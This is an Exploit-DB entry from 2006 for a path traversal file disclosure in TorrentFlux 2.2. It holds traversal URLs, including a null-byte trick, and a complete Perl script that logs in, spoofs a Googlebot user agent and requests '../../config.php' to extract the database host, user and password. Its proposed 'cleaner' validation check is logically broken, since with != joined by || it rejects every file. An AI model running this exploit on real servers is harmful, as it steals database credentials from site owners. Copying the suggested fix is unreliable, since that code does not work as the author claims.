TorrentFlux 2.2 - 'downloaddetails.php' Local File Disclosure

EDB-ID:

2902

Author:

r0ut3r

Type:

webapps

Platform:

PHP

Published:

2006-12-09

#Description: 

#TorrentFlux fails to sanitise the variable "alias" in downloaddetails.php. This allows an 
#attacker to include any file they want; the contents is displayed at in the spaces provided
#and the remaning data is displayed as error messages on the page. Overall Torrentflux makes it
#look quite nice. Solution use SecurityClean() of viewnfo.php to solve the problem. 

# Note: After just looking at the code for viewnfo.php of TorrentFlux 2.1, it would seem that
# it is possible to also read the config.php file in the same way, since path was not sanitised. 
# Although they have fixed this problem in 2.2 with a function i demonstrated to the 
# developer for a previous vulnerability. Exploit: viewnfo.php?path=../config.php

# Just a thought, SecurityCleanPath() could look a bit nicer like so: 
# From: 
#if( (strtolower( substr( $string, -4 ) ) == ".txt") || (strtolower( substr( $string, -4 ) ) == ".nfo") )
#    {
#        // we are good
#    }
#    else
#    {
#        AuditAction($cfg["constants"]["error"], "Not a text or NFO: " . $string);
#        die("Invalid file specified.  Action has been logged.");
#    }

#To: 
#if( (strtolower( substr( $string, -4 ) ) != ".txt") || (strtolower( substr( $string, -4 ) ) != ".nfo") )
#{
#	AuditAction($cfg["constants"]["error"], "Not a text or NFO: " . $string);
#	die("Invalid file specified.  Action has been logged.");
#}
# And it would seem for some reason if you do you change the above code it prevents you from 
# using a null character to access any file in the current or above directory. 2.2 is 
# vulnerable to this. EG: viewnfo.php?path=../config.php%00.txt (but since you cant go back
# a directory it doesn't help much - and you are stuck in the downloads, or above directories). 

# r0ut3r (writ3r [at] gmail.com)

#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                   TorrentFlux 2.2 Database Credentials Exposure Exploit                       #
#################################################################################################
# Software: TorrentFlux 2.2                                                                     #
#                                                                                               #
# Vendor: http://www.torrentflux.com/                                                           #
#                                                                                               #
# Released: 2006/12/09                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note from a developer: "Valid TorrentFlux user IDs are REQUIRED and this is NOT an open       #
# vulnerability to a NON user".                                                                 #
#                                                                                               #
# Note: The information provided in this document is for TorrentFlux administrator              #
# testing purposes only! This vulnerability requires a user account.                            #
#                                                                                               #
# Apart from a few problems (which are fixed) TorrentFlux is a great torrent client.            #
# Download it at: http://www.torrentflux.com/                                                   #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = @ARGV[0]; # torrentflux.com
$folder = @ARGV[1]; # /torrentflux/
$user = @ARGV[2]; # login username
$pass = @ARGV[3]; # login password

sub Header()
{
	print q
	{#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                   TorrentFlux 2.2 Database Credentials Exposure Exploit                       #
#################################################################################################
};
}

sub Usage()
{
	print q
	{
Usage: db_tf2.pl [target] [directory] [username] [password]
Example: db_tf2.pl torrentflux.com /torrentflux/ r0ut3r testing123 
};
	exit();
}

Header();

if (!$target || !$folder || !$user || !$pass) {
	Usage(); }

print "\n[+] Connecting...\r\n";
$sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect. Exiting...\r\n";
print "[+] Attempting to login\n";
print $sock "GET ".$folder."login.php?username=$user&iamhim=$pass HTTP/1.1\n";
print $sock "Host: $target\n";
print $sock "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $sock "Accept: text/html\n";
print $sock "Connection: keep-alive\n\n\r\n";

while (<$sock>)
{
        if (/Cookie: TorrentFlux=(.*?);/)
        {
                $cookie = "TorrentFlux=$1";
        }
}

print "[+] Successfully logged in\n";
print "[+] Cookie: ".$cookie."\n";
if ($cookie eq "")
{
        print "[-] Failed to login. Exiting...";
	exit();
}

print "[+] Sending request\n";

$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."downloaddetails.php?alias=../../config.php HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $xpack "Accept: text/html\n";
print $xpack "Cookie: ".$cookie."\n";
print $xpack "Connection: keep-alive\n\n";
print "\n---------- Exploit Results ----------\n\n"; 

while (<$xpack>)
{
	if (/db_type"] = "(.*?)";/) {
		print "Type: $1\n"; }
	if (/db_host"] = "(.*?)";/) {
		print "Host: $1\n"; }
	if (/db_name"] = "(.*?)";/) {
		print "Name: $1\n"; }
	if (/db_user"] = "(.*?)";/) {
		print "User: $1\n"; }
	if (/db_pass"] = "(.*?)";/) {
		print "Pass: $1\n\n"; 
		$res = true; }
}
if ($res eq false) {
	print "[-] Exploit failed - Not vulnerable\n"; }

print "[!] Connection to host lost...\n";

#################################################################################################
#               This has been another r0ut3r discovery - writ3r [at] gmail.com                  #
#################################################################################################

# milw0rm.com [2006-12-09]